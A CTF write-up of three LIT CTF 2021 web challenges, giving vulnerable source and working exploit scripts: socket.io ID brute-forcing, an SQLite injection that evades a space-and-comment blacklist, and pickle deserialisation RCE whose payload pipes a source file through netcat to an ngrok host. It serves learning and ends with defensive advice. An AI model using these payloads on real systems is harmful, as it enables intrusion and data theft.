LIT CTF 2021

LIT CTF 2021


Here, you can find write-ups of few interesting challenges from my solves in LIT CTF 2021. You can find and learn the below mentioned techniques:

  • SQL injection with WAF bypass
  • RCE using python pickle desirialisation, bypassing the input(dictionary) validation
  • Abusing the funtionality of a Web-Socket Server

LIT BUGS

Source code

var express = require('express');
var app = express();
var http = require('http').createServer(app);
var io = require('socket.io')(http);
var md5 = require("md5");
var fs = require('fs');

const flag = fs.readFileSync("flag.txt",{encoding:'utf8', flag:'r'});

var accounts = {};
// Special account for LIT Organizers
var admin_id = Math.floor(Math.random() * 1000)
accounts[flag] = {
	"password": md5(flag),
	"rand_id": admin_id
};

id2Name = {};
for(let [name,account] of Object.entries(accounts)) {
	id2Name[account["rand_id"]] = name;
}

io.on('connection',(socket) => {
	socket.on('login',(tn,pwd) => {
		if(accounts[tn] == undefined || accounts[tn]["password"] != md5(pwd)) {
			socket.emit("loginRes",false,-3);
			return;
		}
		socket.emit("loginRes",true,accounts[tn]["rand_id"]);
		return;
	});

	socket.on('reqName',(rand_id) => {
		name = id2Name[parseInt(rand_id)];
		socket.emit("reqNameRes",name);
	});

	socket.on('register',(tn,pwd) => {
		if(accounts[tn] != undefined) {
			socket.emit("regRes",false,-1);
			return;
		}
		if(Object.keys(accounts).length >= 500) {
			socket.emit("regRes",false,-2);
			return;
		}
		var rand_id = Math.floor(Math.random() * 1000);
		while(id2Name[rand_id] != undefined) {
			rand_id = Math.floor(Math.random() * 1000);
		}
		accounts[tn] = {
			"password": md5(pwd),
			"rand_id": rand_id
		};
		id2Name[rand_id] = tn;
		socket.emit("regRes",true,rand_id);
	});
});


app.get('/',(req,res) => {
	res.sendFile(__dirname + '/html/index.html');
});

app.get('/login',(req,res) => {
	res.sendFile(__dirname + '/html/login.html');
});

app.get('/register',(req,res) => {
	res.sendFile(__dirname + '/html/register.html');
});

app.get('/contest',(req,res) => {
	res.sendFile(__dirname + '/html/contest.html');
});

http.listen(8081,() => {
	console.log('listening on *:8081');
});

Vulnerablity

The application runs uses Web-Sockets which has a funtionality of registering users. Each user has a random 3 digit ID asscociated with his name and password The flag was stored as name of the admin. So, the Goal was to get the admin’s name.

Also the application has other funtionality which takes the ID and returns the name.

socket.on('reqName',(rand_id) => {
		name = id2Name[parseInt(rand_id)];
		socket.emit("reqNameRes",name);
	});

So bruteforcing all the ID’s from 100 to 999 could give us the flag (easy-peasy!)

Exploit script

var io = require('socket.io-client');
var socket = io.connect('http://websites.litctf.live:8000', {reconnect: true});

// Add a connect listener
socket.on('connect', function (socket) {
    console.log('Connected!');
});

socket.on("reqNameRes", (name) => {
    if(name != null && name.startsWith("flag{")){
        console.log("Name: "+name);
        socket.close();
    }
})

for(var i=1; i<1000; i++){
    socket.emit("reqName", i);
}

Flag

flag{if_y0u_d1d_not_brut3force_ids_plea5e_c0ntact_codetiger}


Alex Fan Club

Source code

import sqlite3
from flask import Flask, render_template, g, request

app = Flask(__name__)

DATABASE = "db"

def get_db():
    db = getattr(g, "_database", None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    return db

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, "_database", None)
    if db is not None:
        db.close()

def query_db(query, args=(), one=False):
    cur = get_db().execute(query, args)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

@app.route("/", methods=["GET"])
def index():
    param = request.args.get("param")
    achievements = query_db("select * from achievements")
    if param != None:
        sqli = 1 in [c in param for c in "*-/ |%"]
        if sqli:
            return render_template("sqli.html")
        achievements = query_db("select * from achievements where achievement like '%" + param + "%'")
    achievements = [achievement[0] for achievement in achievements]
    return render_template("index.html", achievements=achievements)

PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE achievements(
achievement TEXT PRIMARY KEY NOT NULL
);
INSERT INTO achievements VALUES('CF Master');
INSERT INTO achievements VALUES('USACO camper');
INSERT INTO achievements VALUES('pro skillz piano player');
INSERT INTO achievements VALUES('Actually bought sublime text :o');
INSERT INTO achievements VALUES('Knows more chinese than you');
INSERT INTO achievements VALUES('Supreme Leader/Cult Leader of LexMACS');
INSERT INTO achievements VALUES('Organized LIT');
INSERT INTO achievements VALUES('OP at web development');
INSERT INTO achievements VALUES('Puts using namespace std; as the FIRST LINE in his code :O');
INSERT INTO achievements VALUES('Too cool for #include <bits/stdc++.h>');
INSERT INTO achievements VALUES('Top tier MS Paint skills');
INSERT INTO achievements VALUES('Has an informative Youtube channel');
INSERT INTO achievements VALUES('Carried OlyFans during mBIT');
INSERT INTO achievements VALUES('Got top 10 for HSCTF 8');
INSERT INTO achievements VALUES('Is super cool');
INSERT INTO achievements VALUES('Knows fishy15 :yum:');
INSERT INTO achievements VALUES('Has discord nitro');
INSERT INTO achievements VALUES('Beat lots of IGMs in CF Round 728');
INSERT INTO achievements VALUES('Went from pupil to master in ONE year');
INSERT INTO achievements VALUES('Practices consistently orz');
INSERT INTO achievements VALUES('Created USACO Rating');
INSERT INTO achievements VALUES('Able to make better website designs than this');
INSERT INTO achievements VALUES('Able to get AC while using Scanner instead of BufferedReader in Java/Kotlin');
INSERT INTO achievements VALUES('Has a cool profile picture');
CREATE TABLE redacted(
redacted TEXT PRIMARY KEY NOT NULL
);
INSERT INTO redacted VALUES('flag{redacted}');
COMMIT;

Vulnerablity

The Website has a search functionality to search among achivements. The search parameter is vulnerable to SQL injection.

achievements = query_db("select * from achievements where achievement like '%" + param + "%'")

But the search parameter is validated using a blacklist to avoid SQLi. If any character in the blacklist is inside the param then param would get rejected. But there are interesting ways to bypass blacklist filters

sqli = 1 in [c in param for c in "*-/ |%"]
	if sqli:
	    return render_template("sqli.html")

The db used is sqlite3. In our case the we need to bypass the space character and comments to get a valid injection. So let me mention few bypasses -

  • Space characters can be avoided using paranthesis.
SELECT name from users; --> SELECT(name)FROM(users);
  • Space characters can also be bypassed using \n (new line characters).
SELECT name from users;  

-->

SELECT
name
FROM
users;
  • Comments (/* */) can be avoided by making the trailing statement after injection, valid

Exploit script

import requests
url = "http://alex-fan-club.litctf.live"

# Use the payload to get the table and column names
payload = '''Has'
union
SELECT
sql
FROM
sqlite_master
WHERE
type!='meta'
AND
sql
NOT
NULL
AND
name='redacted'
or
'has'like\''''

# After you get the table and column names, 
# substitute them here, and use this payload 
# to get the flag
payload2 = '''Has'
union
SELECT
flag_column
from
flag_is_in_here
where
flag_column
like\''''

url = url + "/?param=" + payload2
res = requests.get(url)
print(res.text)

Flag

flag{c0d3tig3r_g0t_gm_p3rf0rm4nc3_on_a_div_1_0rz}


A Flask of Pickles

Source code

import secrets
from flask import Flask, render_template, request
import pickle
import base64

flag = "REDACTED"

app = Flask(__name__)

users = {
    "example-user": {
        "name": "example",
        "bio": "this is example"
    }
}

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/new", methods=["POST"])
def new():

    # print("request_data", request.get_data())
    pickle_str = base64.b64decode(request.get_data())

    # print("pickle_str", pickle_str)
    
    if len(pickle_str) > 138:
        return "length exxeded: "+ str(len(pickle_str))

    dict_prefix = b"\x80\x04\x95" + chr(len(pickle_str)-11).encode() + b"\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c"
    dict_suffix = b"\x94u."
    # print("dict_suffix", dict_suffix)
    # print("dict_prefix", dict_prefix)
    
    # make sure dictionary is valid and no funny business is going on
    if pickle_str[:len(dict_prefix)] != dict_prefix or pickle_str[-len(dict_suffix):] != dict_suffix or b"flag" in pickle_str or b"os." in pickle_str or b"open" in pickle_str:
        return "uhoh"

    url = secrets.token_urlsafe(16)
    obj = pickle.loads(pickle_str)
    # print(obj)
    users[url] = obj    

    return "user?id=" + url

@app.route("/uhoh")
def uhoh():
    return render_template("uhoh.html")

@app.route("/user", methods=["GET"])
def user():
    uid = request.args.get("id")
    if len(uid) < 10:
        return "id too short"
    if uid not in users:
        return "user not found :("
    return render_template("user.html", user=users[uid])

Vulnerablity

I have seen many typical pickle challenges in my previous CTFs. Also have seen some insane challenges which could give a Brain Fuck. The goal of the current challenge is to get a Remote Code Execution by exploiting python pickle desirialisation.

Application has a functionality to store a user’s name and Bio. The name and Bio were sent to the application in the form of a serialized dictionary. This dictionary was being desirialised in backend to read the values. As the dict can be controlled by user, we could provide a specially crafted pickle to get RCE.

One way to do that using the __reduce__ method in the pickled class

class RCE():
	def __reduce__(self):
		cmd = 'ls' # modify to any command
		return os.system, (cmd,)

But then comes the caveat. The user provided dict signature was being validated. Also the pickle string was being validated with a blacklist. Along with that, the pickle string’s length is constrained to 138 chars

if len(pickle_str) > 138:
    return "length exxeded: "+ str(len(pickle_str))

dict_prefix = b"\x80\x04\x95" + chr(len(pickle_str)-11).encode() + b"\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c"
dict_suffix = b"\x94u."

# make sure dictionary is valid and no funny business is going on
if pickle_str[:len(dict_prefix)] != dict_prefix or pickle_str[-len(dict_suffix):] != dict_suffix or b"flag" in pickle_str or b"os." in pickle_str or b"open" in pickle_str:
    return "uhoh"

So due to this limitation, we cannot directly pickle the RCE class. We can only send a pickled dictionary. Also couldn’t use the os. in the pickle.

Bypassing the above limitations was not that complicated.

First, to bypass the dictionary check, we can assign the object of RCE class, as a value in the dictionary. Doing this way would make our input a valid dict, meanwhile holding the Exploit pickle.

class R():                             # used R as class name to reduce payload size
	def __reduce__(self):
		cmd = 'ls'
		return os.system, (command,)

obj = {'name': R(), 'bio': ''}
pic = pickle.dumps(obj)
enc = base64.b64encode(pic)

We need not to bypass os.. Because the pickle contains os and system as separate strings so the exploit works perfectly. I guess it was the author’s mistake. He should have used os instead of os. in blacklist.

So, finally i pulled up a ngrok server to listen for reverse connections in my local port. As the flag is stored in flaskofpickles.py, I used netcat to make a reverse connection to deliver the file to my pc.

Exploit script

import pickle, os, pickletools, requests, base64

url = "https://a-flask-of-pickles.litctf.live"
# url = "http://0.0.0.0:1337"

rshell = '''cat flaskofpickles.py | nc 2.tcp.ngrok.io 10656''' # replace ngrok domain


class R():
	def __reduce__(self):
		cmd = 'ls'
		return os.system, (rshell,)

obj = {'name': R(), 'bio': ''}	

pic = pickle.dumps(obj)
enc = base64.b64encode(pic)

pickletools.dis(pic)

res = requests.post(url+'/new', data=enc)

print(res.text)

Flag

flag{my_p1ckl35_p0k3d_a_h0l3_in_my_fl4sk}


Takeaways

  • Never deserialize user input directly. It you can’t avoid, try implementing hardened security checks (which is impossible, lol)
  • Whitelists are better then blacklists.
  • Use parameterized queried to avoid SQL injections.
  • Keep an eye on abusive funtionality in the application.



Happy Hacking!



Feel free to provide feedback.